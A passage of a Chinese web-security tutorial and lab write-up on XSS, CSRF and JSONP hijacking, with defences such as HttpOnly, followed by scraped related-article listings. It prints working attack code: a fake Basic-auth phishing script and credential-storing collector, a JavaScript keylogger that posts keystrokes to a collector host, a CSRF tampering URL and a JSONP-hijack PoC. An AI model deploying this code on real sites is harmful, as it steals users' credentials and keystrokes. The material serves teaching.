".$row['title'] . " " . $row['content']." ";
}
echo "";
?>
记得在数据库中创建xss表,不然php找不到xss表就无法插入数据会报错
不知为何连接上数据库后php还是不能向数据库中写入。可能是权限问题吧,研究半天没有成功,这里换用pikachu靶场的xss(store)环境
成功跳转弹窗
与反射型相同payload上传获取cookie
正文|DOM XSS简述
DOM XSS是指页面中原有的JavaScript代码执行后,需要进行DOM树节点的增加或者元素的修改,引入了被污染的变量,从而导致xss。DOM XSS与反射型,存储型XSS主要的区别在于DOM XSS的XSS代码不需要服务器端解析,依赖的是浏览器端的DOM解析。
DOM环境搭建
Test
这里会显示输入的内容
DOM XSS测试
正文|xss利用
1.窃取 Cookie:
从以上的实验过程中,我们可以看到,由于黑客注入的 JavaScript 代码是运行在 http://server.com 这个域名下的,因此,黑客可以在 JavaScript 中通过 document.cookie 获得 Cookie 信息。也就是说**黑客可以窃取用户的 Cookie。**另外,需要我们注意的是,受SOP(Same Origin Policy,同源策略)保护,我们在 http://server.com 中是无法直接向 http://hacker.com 发送 GET 或者 POST 请求的。但是我们可以通过 window.location 、加载 JavaScript 文件、图片等方式,向 http://attacker.com 发送带有 Cookie 的 GET 请求。
窃取用户的cookie后,黑客可以通过cookie伪造合法身份(管理员身份)登录,获取操作网页的权限。
2. 未授权操作
除了窃取敏感信息以外,黑客还可以利用 JavaScript 的特性,直接代替用户在 HTML 进行各类操作。
在微博 XSS 攻击事件 中,黑客就利用 JavaScript 脚本,让用户发送了一个微博,微博中同时还带有反射型 XSS 的链接。这样一来,每个点击链接的用户都会通过微博的形式,诱导更多的用户点击链接,一传十、十传百,造成大范围的传播。
微博xss攻击事件相关链接: https://www.cnblogs.com/svennee/p/4099637.html
https://www.cnblogs.com/hainange/archive/2011/06/29/6152978.html
3. 按键记录和钓鱼
窃取 Cookie 和未授权操作都是我们很容易想到的危害,除此之外,JavaScript 还能做什么呢?
JavaScript 的功能十分强大,它还能够记录用户在浏览器中的大部分操作。比如:鼠标的轨迹、键盘输入的信息等。也就是说,你输入的账号名和密码,都可以被 JavaScript 记录下来,从而被黑客获取到。
另外,即使某个存在 XSS 漏洞的页面不具备任何输入框,黑客还可以通过修改 DOM,伪造一个登录框,来诱导用户在本不需要登录的页面,去输入自己的用户名和密码。这也是“钓鱼”的一种形式,在这个过程中用户访问的域名是完全正常的,只是页面被篡改了,所以具备更高的迷惑性。
实验|利用XSS漏洞钓鱼
相关脚本:
1 钓鱼脚本
1.1弹出伪造验证框脚本
error_reporting ( 0 ) ;
if ( ( ! isset ( $_SERVER [ 'PHP_AUTH_USER' ] ) ) || ( ! isset ( $_SERVER [ 'PHP_AUTH_PW' ] ) ) ) {
header ( 'Content-type:text/html;charset=utf-8' ) ;
header ( "WWW-Authenticate: Basic realm='认证'" ) ;
header ( 'HTTP/1.0 401 Unauthorized' ) ;
echo 'Authorization Required.' ;
exit ;
} else if ( ( isset ( $_SERVER [ 'PHP_AUTH_USER' ] ) ) && ( isset ( $_SERVER [ 'PHP_AUTH_PW' ] ) ) ) {
header ( "Location: http://192.168.88.128/pkxss/xfish/xfish.php?username={ $_SERVER [ PHP_AUTH_USER ] }
&password={ $_SERVER [ PHP_AUTH_PW ] } " ) ;
}
? >
1.2 将用户输入的信息进行处理并保存
error_reporting ( 0 ) ;
include_once '../inc/config.inc.php' ;
include_once '../inc/mysql.inc.php' ;
$link = connect ( ) ;
if ( ! empty ( $_GET [ 'username' ] ) && ! empty ( $_GET [ 'password' ] ) ) {
$username = $_GET [ 'username' ] ;
$password = $_GET [ 'password' ] ;
$referer = "" ;
$referer .= $_SERVER [ 'HTTP_REFERER' ] ;
$time = date ( 'Y-m-d g:i:s' ) ;
$query = "insert fish(time,username,password,referer) values('$time ','$username ','$password ','$referer ')" ;
$result = mysqli_query ( $link , $query ) ;
}
? >
2 键盘记录脚本
2.1 制作键盘的js,异步发送给键盘记录脚本
function createAjax ( ) {
var request= false ;
if ( window. XMLHttpRequest) {
request= new XMLHttpRequest ( ) ;
if ( request. overrideMimeType) {
request. overrideMimeType ( "text/xml" ) ;
}
} else if ( window. ActiveXObject) {
var versions= [ 'Microsoft.XMLHTTP' , 'MSXML.XMLHTTP' , 'Msxml2.XMLHTTP.7.0' , 'Msxml2.XMLHTTP.6.0' , 'Msxml2.XMLHTTP.5.0' , 'Msxml2.XMLHTTP.4.0' , 'MSXML2.XMLHTTP.3.0' , 'MSXML2.XMLHTTP' ] ;
for ( var i= 0 ; i< versions. length; i++ ) {
try {
request= new ActiveXObject ( versions[ i] ) ;
if ( request) {
return request;
}
} catch ( e) {
request= false ;
}
}
}
return request;
}
var ajax= null ;
var xl= "datax=" ;
function onkeypress ( ) {
var realkey = String. fromCharCode ( event. keyCode) ;
xl+= realkey;
show ( ) ;
}
document. onkeypress = onkeypress;
function show ( ) {
ajax = createAjax ( ) ;
ajax. onreadystatechange = function ( ) {
if ( ajax. readyState == 4 ) {
if ( ajax. status == 200 ) {
var data = ajax. responseText;
} else {
alert ( "页面请求失败" ) ;
}
}
}
var postdate = xl;
ajax. open ( "POST" , "http://192.168.88.128/pkxss/rkeypress/rkserver.php" , true ) ;
ajax. setRequestHeader ( "Content-type" , "application/x-www-form-urlencoded" ) ;
ajax. setRequestHeader ( "Content-length" , postdate. length) ;
ajax. setRequestHeader ( "Connection" , "close" ) ;
ajax. send ( postdate) ;
}
2.2处理并保存按键记录脚本
操作步骤 :首先配置脚本一和脚本三,使窃取的信息导入到脚本二和脚本四。
脚本一将location后域名地址配置为脚本二的本地地址
header ( "Location: http://192.168.88.128/pkxss/xfish/xfish.php? // 修改这里
username={ $_SERVER [ PHP_AUTH_USER ] }
&password={ $_SERVER [ PHP_AUTH_PW ] } " ) ;
脚本三将post后域名配置为脚本四的本地地址
ajax. open ( "POST" , "http://192.168.88.128/pkxss/rkeypress/rkserver.php" , true ) ;
ajax. setRequestHeader ( "Content-type" , "application/x-www-form-urlencoded" ) ;
构造钓鱼payload:
访问保存信息的的页面就可以获取我们刚才输入的账号密码,完成一次简单的xss
参考链接 :https://blog.csdn.net/weixin_43526443/article/details/105737140
拓展|XSS防护策略
特定标签过滤
通过过滤掉xss危险html标签(script,ifame)来防御xss的一种办法,也是防御xss的最简单思路,但其实这种方法 局限性很大 。因为任何一种标签,无论是否合法,都可以构造出xss代码。而当输入点在html的属性中或js代码中,攻击者可以简单的闭合、拼接属性或js代码 。不需要引入新标签就可以实现xss。而且html的更新势必会带来更多可以利用的新标签(video),这种方法治标不治本 。
事件过滤
开发者通过过滤许多HTML的事件属性来防御xss。(如onerror)
敏感关键字过滤
针对敏感变量和函数进行的过滤。防护性不强,可以通过字符串拼接,编码解码等方式绕过。
长度限制
由于xss跨站脚本的注入需要一定长度的输入,此时我们如果限制输入长度,就能有效地限制xss注入。
如下图通过前端js代码限制输入最大长度
启用HTTP Only
首先,我们了解一下一个Cookie的使用过程:
Step1:浏览器向服务器发起请求,这时没有Cookie。Step2:服务器返回时发送Set-Cookie头,向客户端浏览器写入Cookie。
Step3:在该Cookie到期前,浏览器访问该域下的所有页面,都将发送该Cookie。
接下来,我们了解一下HttpOnly
HttpOnly是Cookie的一个安全属性,最早是由微软提出,并在IE 6中实现的,至今已成为一个标准。浏览器将禁止页面的JavaScript访问带有HttpOnly属性的Cookie。严格来说,HttpOnly并非为了对抗XSS–HttpOnly解决的是XSS后的Cookie劫持。之前的文章中提到过”如何使用XSS窃取用户的Cookie,然后登录进该用户的账户“。但如果该Cookie设置了HttpOnly,则这种攻击会失败,因为JavaScript读取不到Cookie的值。
HttpOnly的使用非常灵活,如下是一个使用HttpOnly的过程。
header ( "Set-Cookie: cookie1=test1;" ) ;
header ( "Set-Cookie: cookie2=test2;httponly" , false ) ;
? >
< script>
alert ( document. cookie) ;
< / script>
拓展|CSRF简述
CSRF(Cross—site request forgery)跨站请求伪造 ,也被称为One Click Attack或Session Riding。是一种对网站的恶意利用,它与XSS的不同之处在于:XSS利用的是站点内的受信任用户,CSRF则是通过伪装成权限用户对受信任的网站的请求。
CSRF其实可以这样理解:
攻击者利用目标用户的身份,以目标用户的名义进行某些非法操作
CSRF攻击有以下关键点:
目标用户已经登录了网站,能够执行网站内的功能
目标用户访问了攻击者构造的url
CSRP简单实践-基于pikachu靶场
登录靶场给出的默认账号
点击修改个人信息并填写修改,点击修改的同时抓包分析
GET /vul/csrf/csrfget/csrf_get_edit.php?sex=%E7%94%B7&phonenum=1256136&add=136142&email=1241251&submit=submit HTTP/1.1
发现url后有get传参是用来修改参数的。于是我们可以伪造一个url如下诱使用户点击,就完成了一次简单的csrf攻击。例如这里
url+?sex=hack&phonenum=hacker&add=666666&email=hack&submit=submit HTTP/1.1
拓展|jsonp简述
JSONP(JSON with Padding)是JSON的一种“使用模式”,可用于解决主流浏览器的跨域数据访问的问题。由于同源策略,一般来说位于 server1.example.com 的网页无法与不是 server1.example.com的服务器沟通,**而 HTML 的
jsonp简单实践-csrf的jsonp劫持
为了学习jsonp专门搭建了一个DoraBox靶场…进入jsonp劫持项目。
使用如下poc进行劫持
DOCTYPE html >
< html lang = " en" >
< head>
< meta charset = " UTF-8" >
< meta name = " viewport" content = " width=device-width, initial-scale=1.0" >
< title> json劫持title >
head >
< body>
< script>
function vulkey ( data )
{
alert ( JSON . stringify ( data) ) ;
}
script >
< script src = " http://localhost/DoraBox-master/csrf/jsonp.php?callback=vulkey" >
script >
body >
html >
劫持成功
后记
xss漏洞是个较为普遍且非常经典的漏洞,但由于其特殊性,在ctf赛题中很少单独利用,而是和其他漏洞进行联动。因此学好xss是做好许多ctf题目的前提。当然,这篇文章讲解的可能对你们现在来说确实有些难度,初步要求掌握正文内容,拓展内容学有余力者可以研究研究。
你可能感兴趣的:(安全漏洞,xss,csrf,jsonp)
网页有效防止XSS,SQL注入,木马文件拦截上传等安全问题
程序员贵哥
网络安全 xss sql 安全 网络安全 web安全 php
网络安全问题一直是备受关注的话题,其中跨站脚本攻击(XSS)、SQL注入和木马文件上传是常见的安全威胁。下面我将详细介绍这些安全问题。首先是跨站脚本攻击(XSS)。XSS攻击是一种利用网站漏洞,将恶意脚本注入到用户浏览器中并执行的攻击方式。攻击者可以在网站中插入恶意脚本,当用户浏览该网站时,恶意脚本会被执行,从而窃取用户的敏感信息或执行其他恶意操作。XSS攻击可以分为反射型、存储型和DOM-bas
字节-安全研究实习生--一面
Pluto-2003
安全面试题 安全 web安全 网络 面试 笔记 安全研究
`1、你投的岗位是安全研究实习生,你了解我们这边主要是做什么的吗作为安全研究实习生,我理解贵公司主要专注于网络安全领域,致力于保护信息系统免受各种威胁和攻击。这可能包括但不限于以下几个方面:漏洞研究:识别和分析软件、硬件以及网络中的安全漏洞,以便及时修复,防止被恶意利用。威胁情报:收集和分析关于网络威胁的数据,包括恶意软件、攻击者行为模式、漏洞利用技术等,以便更好地理解和防御潜在的网络攻击。安全策
【Golang星辰图】抵御恶意攻击:利用Go语言的安全库构建可靠的应用程序
friklogff
Golang星辰图 golang 安全 开发语言
加固你的代码:了解Go语言中的安全库和技术前言在当今数字化的世界中,保护代码和数据的安全性变得至关重要。恶意攻击、数据泄露和其他安全漏洞可能给我们的系统和用户带来巨大的风险和损失。为了增强软件的安全性和可靠性,我们需要利用现有的安全库来加固我们的应用程序和系统。本文将介绍一些常用的Go语言安全库,并提供详细的功能介绍和使用示例,帮助读者加强自己的代码和数据的安全性。欢迎订阅专栏:Golang星辰图
XSS四-WEB攻防-XSS跨站&CSP策略&HttpOnly属性&Filter过滤器&标签闭合&事件触发
爱敲键盘的pig
前端 xss 网络安全
演示案例:XSS跨站-安全防御-CSPXSS跨站-安全防御-HttpOnlyXSS跨站-安全防御-XSSFilter1.CSP(Content Security Policy 内容安全策略)内容安全策略是一种可信白名单机制,来限制网站中是否可以包含某来源内容。该制度明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单,它的实现和执行全部由浏览器完成,开发者只需提供配置。禁止加载外域代码,防
WordPress Plugin NotificationX插件 SQL注入漏洞复现(CVE-2024-1698)
OidBoy_G
漏洞复现 sql web安全 安全
0x01产品简介WordPress和WordPressplugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。0x02漏洞概述WordPresspluginNotificationX是一个应用插件。2.8.2版本及之前存在安全漏洞,该漏洞源于对用户提供的参数转义不充分以及对现有SQL查询缺乏充分
跨域及解决跨域问题的详细解释
佩淇呢
javascript 跨域 前端 javascript
本文介绍了什么是跨域,以及常见的解决跨域的5种方法的具体解释,会举例分别解释每一种方法是怎么使用的。目录1.什么是跨域2.解决跨域问题的方法(1)JSONP(JSONwithPadding)(2)CORS(Cross-OriginResourceSharing)(3)跨文档消息传递(postMessage)(4)Nginx代理跨域(5)WebSocket3.总结1.什么是跨域跨域是一个浏览器安全策
微信小程序 构建npm报错 没有生成miniprogram_npm目录
MorrisGeek
npm 前端 微信小程序
问题拉取已有仓库,在目录下执行npminstall,再在微信开发者工具里点构建npm,报错说找不到/miniprogram_npm基础库2.27.1解决方法一、先在project.config.json中检查配置{"setting":{"packNpmManually":true,"packNpmRelationList":[{"packageJsonPath":"./package.json",
Django高级之-forms组件
Renweif
Django django
Django高级之-forms组件1校验字段功能针对一个实例:注册用户讲解。模型:models.pyclassUserInfo(models.Model):name=models.CharField(max_length=32)pwd=models.CharField(max_length=32)email=models.EmailField()模版文件Title{%csrf_token%}用户名
OpenSSL 安全漏洞(CVE-2023-3817)
鹊鹊_Y
漏洞修复 ssl 服务器 运维 linux
厂商补丁:目前厂商已发布升级补丁以修复漏洞,补丁获取链接:https://www.openssl.org/news/secadv/20230731.txtOpenSSL安全建议[2023年7月31日]==========================================检查DHq参数值花费过多时间(CVE-2023-3817)=============================
微信小程序(五十二)开屏页面效果
代码对我眨眼睛
微信小程序 微信小程序 小程序
注释很详细,直接上代码上一篇新增内容:1.使用控件模拟开屏界面2.倒计时逻辑3.布局方法4.TabBar隐藏复现源码:components/openPage/openPage.wxml跳过{{second}}scomponents/openPage/openPage.wxss/*切记:最外面的盒子不能直接用百分之的形式*/.openPage-box{width:100vh;height:100vh
Spring Bean 生成流程详细解析
zy_zeros
spring dubbo java
很多人把spring的相关内容当作背八股文,认为只在面试时能用上,实际开发根本用不到。实际上早期的我也是这么想的,但随着开发年限的增长,解决了越来越多的难题后,不得不承认,这些基础知识的学习有着无法替代的作用。就拿我实际遇到的一个例子来说:有一个大型项目因为安全漏洞的原因要进行升级,需要从springboot1.0升级至springboot2.0,但发现springboot2的默认动态代理方式为C
阿里云高防服务器如何实现安全防护,以及如何接触安全防护
九河云
安全 服务器 阿里云
随着互联网的发展,网络安全问题日益突出,不法分子利用网络空间进行各种网络攻击,如DDoS攻击、SQL注入、XSS漏洞等,给个人、企业甚至国家的信息安全带来了极大的威胁。为了保障网络安全,高防服务器和阿里云服务器是很好的选择,下面九河云来讲讲高防服务器怎样实现安全防护措施,以及阿里云服务器安全防护怎么解除。一、高防服务器的安全防护措施1、DDoS攻击防护DDoS攻击属于分布式拒绝服务攻击,其主要手段
Universal SASE如何重构SASE定义?
Fortinet_CHINA
重构 网络 web安全
数字化转型趋势助推安全转型,不一致安全性与安全漏洞、缺乏可见性和不断增长的影子IT等挑战也在呼求安全变革。零信任理念推动风险锐减正在成为未来安全发展大势。而在落地零信任理念过程中,SASE(安全访问服务边缘)又一跃而成零信任理念的关键趋势。在Fortinet2024年开年第一次直播讲座——《解构·零信任网络安全体系》中,Fortinet北亚区首席技术顾问谭杰系统诠释FortinetUniversa
字节面试分享,请详细介绍为何Http Post发送两次请求
zy_zeros
面试 http 职场和发展
在浏览器中,内容是很开放的,任何资源都可以接入其中,如JavaScript文件、图片、音频、视频等资源,甚至可以下载其他站点的可执行文件。但也不是说浏览器就是完全自由的,如果不加以控制,就会出现一些不可控的局面,例如会出现一些安全问题,如:跨站脚本攻击(XSS)SQL注入攻击OS命令注入攻击HTTP首部注入攻击跨站点请求伪造(CSRF)等等…如果这些都没有限制的话,对于我们用户而言,是相对危险的,
RapidJson开源库使用
不朽の燃梦
Qt C++开源库 开源 c++ qt
1.下载GitHub-Tencent/rapidjson:AfastJSONparser/generatorforC++withbothSAX/DOMstyleAPIAfastJSONparser/generatorforC++withbothSAX/DOMstyleAPI-Tencent/rapidjsonhttps://github.com/Tencent/rapidjson官方使用手册:Ra
iexcel-excel 读取和写入,解决 excel OOM 问题
后端java
项目简介IExcel用于优雅地读取和写入excel。避免大excel出现oom,简约而不简单。特性一行代码搞定一切OO的方式操作excel,编程更加方便优雅。sax模式读取,SXSS模式写入。避免excel大文件OOM。基于注解,编程更加灵活。设计简单,注释完整。方便大家学习改造。可根据注解指定表头顺序支持excel文件内容bytes[]内容获取,便于用户自定义操作。变更日志变更日志v0.0.9主
应急响应实战笔记02日志分析篇(3)
Pluto-2003
应急响应 笔记 web安全 安全威胁分析 网络安全
第3篇:Web日志分析ox01Web日志Web访问日志记录了Web服务器接收处理请求及运行时错误等各种原始信息。通过对WEB日志进行的安全分析,不仅可以帮助我们定位攻击者,还可以帮助我们还原攻击路径,找到网站存在的安全漏洞并进行修复。我们来看一条Apache的访问日志:127.0.0.1--[11/Jun/2018:12:47:22+0800]"GET/login.htmlHTTP/1.1"200
常见的几种Web安全问题测试简介
咖啡加剁椒..
软件测试 web安全 安全 功能测试 软件测试 自动化测试 程序人生 职场和发展
Web项目比较常见的安全问题1.XSS(CrossSiteScript)跨站脚本攻击XSS(CrossSiteScript)跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。测试方法:在数据输入界面,添加记录输入:,添加成功如果弹出对话框,表明此处存在一个XSS漏洞。或把url请求中参数改为
CORS 和 JSONP 解决跨域问题
如光凌清尘
由于浏览器的同源策略,不同协议、域名、端口的网页是不允许互相请求资源的。但在前后端分离的开发模式中,前后端的域名是不一样的,如果要进行数据的交互就会产生跨域。解决跨域的方案:一:cors设置请求头浏览器的同源安全策略默认会阻止网页“跨域”获取资源。但如果接口服务器配置了CORS相关的HTTP响应头,就可以解除浏览器端的跨域访问限制CORS主要在服务器端进行配置。客户端浏览器无须做任何额外的配置,即
CTFHub技能树web之文件上传(一)
wz_fisher
安全 web安全
一.前置知识文件上传漏洞:文件上传功能是许多Web应用程序的常见功能之一,但在实施不当的情况下,可能会导致安全漏洞。文件上传漏洞的出现可能会使攻击者能够上传恶意文件,执行远程代码,绕过访问控制等。文件类型验证:Web应用程序通常会对上传的文件类型进行验证,以确保只允许特定类型的文件上传。这种验证可以通过检查文件扩展名或内容类型(MIME类型)来实现。然而,这种验证机制往往是不可靠的,因为攻击者可以
CSRF漏洞
Ryongao
csrf 前端 网络安全
csrf漏洞介绍一、定义Cross-SiteRequestForgery跨站请求伪造理解:1.跨站点的请求2.请求是伪造的。(假装可信)它是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法二、定义csrf漏洞的成因就是网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录那以后只要是访问这个网站,都会默认你已经登录的状态。而在这个期间,攻击者发送了构造好的csrf脚
安全测试工具安装指南:在统信UOS上部署Burp Suite
鹏大圣运维
linux 统信 UOS 安全 测试工具 git linux 操作系统 国产化 桌面
原文链接:安全测试工具安装指南:在统信UOS上部署BurpSuite大家好!在网络安全领域,BurpSuite是一款不可或缺的工具,它提供了从初级映射和分析应用程序攻击面到查找和利用安全漏洞的一系列功能。今天,我将为大家介绍如何在统信UOS上安装BurpSuiteCommunityEdition(社区版),版本为2023.12.1.5。值得一提的是,社区版和专业版的安装方法基本一致。准备工作在开始
渗透测试之XSS(跨站脚本攻击)
little whhite
渗透测试 xss 前端
XSS(CrossSiteScripting)跨站脚本攻击,为区别于CSS改首字母为X。XSS攻击使一种注入攻击,攻击者在网页中插入精心构造的JS(Javascript)代码,当用户浏览网页时便会触发恶意代码。XSS带来的危害:窃取用户身份凭证cookie信息、控制用户浏览器功能点,强制发表文章,强制转账、获取受害者浏览器信息(浏览记录、主机信息、真实ip、开放端口等)、控制受害者浏览器向其他网站
【2023】uniapp+vue3+ts超实用模板(续)
【2023】uniapp+vue3+ts超实用模板(续)接着上篇文章【2023】uniapp+vue3+ts超实用模板,我们继续优化模板。6、处理unocss生成的样式在小程序报错问题在上面模板的基础上,npmrundev:mp-weixin会在dist/dev/mp-weixin生成微信小程序文件,打开微信开发者工具,导入该文件夹,发现跑不起来,控制台报错,如下。发现是生成的app.wxss包含
android aidl进程间通信封装通用实现-用法说明
练习本
常用知识点分类汇总 android
接上一篇:androidaidl进程间通信封装通用实现-CSDN博客该aar包的使用还是比较方便的一先看客户端1初始化JsonProtocolManager.getInstance().init(mContext,"com.autoaidl.jsonprotocol");//客户端监听事件实现JsonProtocolManager.getInstance().setJsonProtocolRece
微信小程序swiper 视频中间大,两边小,轮播滑到中间视频自动播放组件教程
Garc
微信小程序 小程序
静态效果:进入下面小程序可以体验效果,点击底部看剧栏目一、创建小程序组件二、代码1、WXML2?1:0}}"previous-margin="255rpx"next-margin="255rpx"bindchange="swiperChange">2、wxss.swiper-wrapper{flex:1;width:100%;height:100%;margin:0auto;border-radi
测开不得不会的python之jsonpath数据提取
科雷软件测试
python编程 python 开发语言
概要JSON(JavaScriptObjectNotation)是一种轻量级的数据交换格式,目前被广泛应用,在实际使用过程中不管是开发工程师还是测试工程师都必须学会json数据的处理。Python中有几个库可以比较好的处理json数据,比如内置库json、外部库Demjson、jsonpath,上一章节介绍了json库的使用方法(json库使用),本章主要介绍外部库jsonpath的使用日常编码过
0x26.Apache Struts2远程代码执行漏洞(S2-019)复现
半情调
墨者学院 墨者学院 S2-019
s2-019:动态方法调用是一种已知会施加可能的安全漏洞的机制,但到目前为止,它默认启用,警告用户应尽可能将其关闭;构造poc:?debug=command&expression=#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_membe
防御XSS攻击:DOMPurify不可或缺
xss
DOMPurify是什么?DOMPurify是一个针对DOM的XSS清理器。DOMPurify有什么作用?DOMPurify可以清理HTML并防止XSS攻击。你可以用有恶意代码的HTML字符串来测试DOMPurify,它将返回一个带有干净的HTML字符串。DOMPurify将去除所有包含危险HTML的内容,从而防止XSS攻击。怎么使用DOMPurify?//通过script引入//通过import
window.open漏洞揭秘:你了解多少?
安全
window.open是javascript中的一个方法,用于在新的浏览器窗口或标签页中打开指定的URL。然而,如果不正确地使用,它可能会引入安全漏洞。一、window.open漏洞DemoDemo是一个简单的html,点击button,然后通过window.open打开另一个地址,比如百度首页。如下截图所示:点击button后,会新开标签页,打开百度的页面。如下截图所示:详情请查看:window
eclipse maven
IXHONG
eclipse
eclipse中使用maven插件的时候,运行run as maven build的时候报错
-Dmaven.multiModuleProjectDirectory system propery is not set. Check $M2_HOME environment variable and mvn script match.
可以设一个环境变量M2_HOME指
timer cancel方法的一个小实例
alleni123
多线程 timer
package com.lj.timer;
import java.util.Date;
import java.util.Timer;
import java.util.TimerTask;
public class MyTimer extends TimerTask
{
private int a;
private Timer timer;
pub
MySQL数据库在Linux下的安装
ducklsl
mysql
1.建好一个专门放置MySQL的目录
/mysql/db数据库目录
/mysql/data数据库数据文件目录
2.配置用户,添加专门的MySQL管理用户
>groupadd mysql ----添加用户组
>useradd -g mysql mysql ----在mysql用户组中添加一个mysql用户
3.配置,生成并安装MySQL
>cmake -D
spring------>>cvc-elt.1: Cannot find the declaration of element
Array_06
spring bean
将--------
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3
maven发布第三方jar的一些问题
cugfy
maven
maven中发布 第三方jar到nexus仓库使用的是 deploy:deploy-file命令
有许多参数,具体可查看
http://maven.apache.org/plugins/maven-deploy-plugin/deploy-file-mojo.html
以下是一个例子:
mvn deploy:deploy-file -DgroupId=xpp3
MYSQL下载及安装
357029540
mysql
好久没有去安装过MYSQL,今天自己在安装完MYSQL过后用navicat for mysql去厕测试链接的时候出现了10061的问题,因为的的MYSQL是最新版本为5.6.24,所以下载的文件夹里没有my.ini文件,所以在网上找了很多方法还是没有找到怎么解决问题,最后看到了一篇百度经验里有这个的介绍,按照其步骤也完成了安装,在这里给大家分享下这个链接的地址
ios TableView cell的布局
张亚雄
tableview
cell.imageView.image = [UIImage imageNamed:[imageArray objectAtIndex:[indexPath row]]];
CGSize itemSize = CGSizeMake(60, 50);
&nbs
Java编码转义
adminjun
java 编码转义
import java.io.UnsupportedEncodingException;
/**
* 转换字符串的编码
*/
public class ChangeCharset {
/** 7位ASCII字符,也叫作ISO646-US、Unicode字符集的基本拉丁块 */
public static final Strin
Tomcat 配置和spring
aijuans
spring
简介
Tomcat启动时,先找系统变量CATALINA_BASE,如果没有,则找CATALINA_HOME。然后找这个变量所指的目录下的conf文件夹,从中读取配置文件。最重要的配置文件:server.xml 。要配置tomcat,基本上了解server.xml,context.xml和web.xml。
Server.xml -- tomcat主
Java打印当前目录下的所有子目录和文件
ayaoxinchao
递归 File
其实这个没啥技术含量,大湿们不要操笑哦,只是做一个简单的记录,简单用了一下递归算法。
import java.io.File;
/**
* @author Perlin
* @date 2014-6-30
*/
public class PrintDirectory {
public static void printDirectory(File f
linux安装mysql出现libs报冲突解决
BigBird2012
linux
linux安装mysql出现libs报冲突解决
安装mysql出现
file /usr/share/mysql/ukrainian/errmsg.sys from install of MySQL-server-5.5.33-1.linux2.6.i386 conflicts with file from package mysql-libs-5.1.61-4.el6.i686
jedis连接池使用实例
bijian1013
redis jedis连接池 jedis
实例代码:
package com.bijian.study;
import java.util.ArrayList;
import java.util.List;
import redis.clients.jedis.Jedis;
import redis.clients.jedis.JedisPool;
import redis.clients.jedis.JedisPoo
关于朋友
bingyingao
朋友 兴趣爱好 维持
成为朋友的必要条件:
志相同,道不合,可以成为朋友。譬如马云、周星驰一个是商人,一个是影星,可谓道不同,但都很有梦想,都要在各自领域里做到最好,当他们遇到一起,互相欣赏,可以畅谈两个小时。
志不同,道相合,也可以成为朋友。譬如有时候看到两个一个成绩很好每次考试争做第一,一个成绩很差的同学是好朋友。他们志向不相同,但他
【Spark七十九】Spark RDD API一
bit1129
spark
aggregate
package spark.examples.rddapi
import org.apache.spark.{SparkConf, SparkContext}
//测试RDD的aggregate方法
object AggregateTest {
def main(args: Array[String]) {
val conf = new Spar
ktap 0.1 released
bookjovi
kernel tracing
Dear,
I'm pleased to announce that ktap release v0.1, this is the first official
release of ktap project, it is expected that this release is not fully
functional or very stable and we welcome bu
能保存Properties文件注释的Properties工具类
BrokenDreams
properties
今天遇到一个小需求:由于java.util.Properties读取属性文件时会忽略注释,当写回去的时候,注释都没了。恰好一个项目中的配置文件会在部署后被某个Java程序修改一下,但修改了之后注释全没了,可能会给以后的参数调整带来困难。所以要解决这个问题。
&nb
读《研磨设计模式》-代码笔记-外观模式-Facade
bylijinnan
java 设计模式
声明: 本文只为方便我个人查阅和理解,详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/
/*
* 百度百科的定义:
* Facade(外观)模式为子系统中的各类(或结构与方法)提供一个简明一致的界面,
* 隐藏子系统的复杂性,使子系统更加容易使用。他是为子系统中的一组接口所提供的一个一致的界面
*
* 可简单地
After Effects教程收集
cherishLC
After Effects
1、中文入门
http://study.163.com/course/courseMain.htm?courseId=730009
2、videocopilot英文入门教程(中文字幕)
http://www.youku.com/playlist_show/id_17893193.html
英文原址:
http://www.videocopilot.net/basic/
素
Linux Apache 安装过程
crabdave
apache
Linux Apache 安装过程
下载新版本:
apr-1.4.2.tar.gz(下载网站:http://apr.apache.org/download.cgi)
apr-util-1.3.9.tar.gz(下载网站:http://apr.apache.org/download.cgi)
httpd-2.2.15.tar.gz(下载网站:http://httpd.apac
Shell学习 之 变量赋值和引用
daizj
shell 变量引用 赋值
本文转自:http://www.cnblogs.com/papam/articles/1548679.html
Shell编程中,使用变量无需事先声明,同时变量名的命名须遵循如下规则:
首个字符必须为字母(a-z,A-Z)
中间不能有空格,可以使用下划线(_)
不能使用标点符号
不能使用bash里的关键字(可用help命令查看保留关键字)
需要给变量赋值时,可以这么写:
Java SE 第一讲(Java SE入门、JDK的下载与安装、第一个Java程序、Java程序的编译与执行)
dcj3sjt126com
java jdk
Java SE 第一讲:
Java SE:Java Standard Edition
Java ME: Java Mobile Edition
Java EE:Java Enterprise Edition
Java是由Sun公司推出的(今年初被Oracle公司收购)。
收购价格:74亿美金
J2SE、J2ME、J2EE
JDK:Java Development
YII给用户登录加上验证码
dcj3sjt126com
yii
1、在SiteController中添加如下代码:
/**
* Declares class-based actions.
*/
public function actions() {
return array(
// captcha action renders the CAPTCHA image displ
Lucene使用说明
dyy_gusi
Lucene search 分词器
Lucene使用说明
1、lucene简介
1.1、什么是lucene
Lucene是一个全文搜索框架,而不是应用产品。因此它并不像baidu或者googleDesktop那种拿来就能用,它只是提供了一种工具让你能实现这些产品和功能。
1.2、lucene能做什么
要回答这个问题,先要了解lucene的本质。实际
学习编程并不难,做到以下几点即可!
gcq511120594
数据结构 编程 算法
不论你是想自己设计游戏,还是开发iPhone或安卓手机上的应用,还是仅仅为了娱乐,学习编程语言都是一条必经之路。编程语言种类繁多,用途各 异,然而一旦掌握其中之一,其他的也就迎刃而解。作为初学者,你可能要先从Java或HTML开始学,一旦掌握了一门编程语言,你就发挥无穷的想象,开发 各种神奇的软件啦。
1、确定目标
学习编程语言既充满乐趣,又充满挑战。有些花费多年时间学习一门编程语言的大学生到
Java面试十问之三:Java与C++内存回收机制的差别
HNUlanwei
java C++ finalize() 堆栈 内存回收
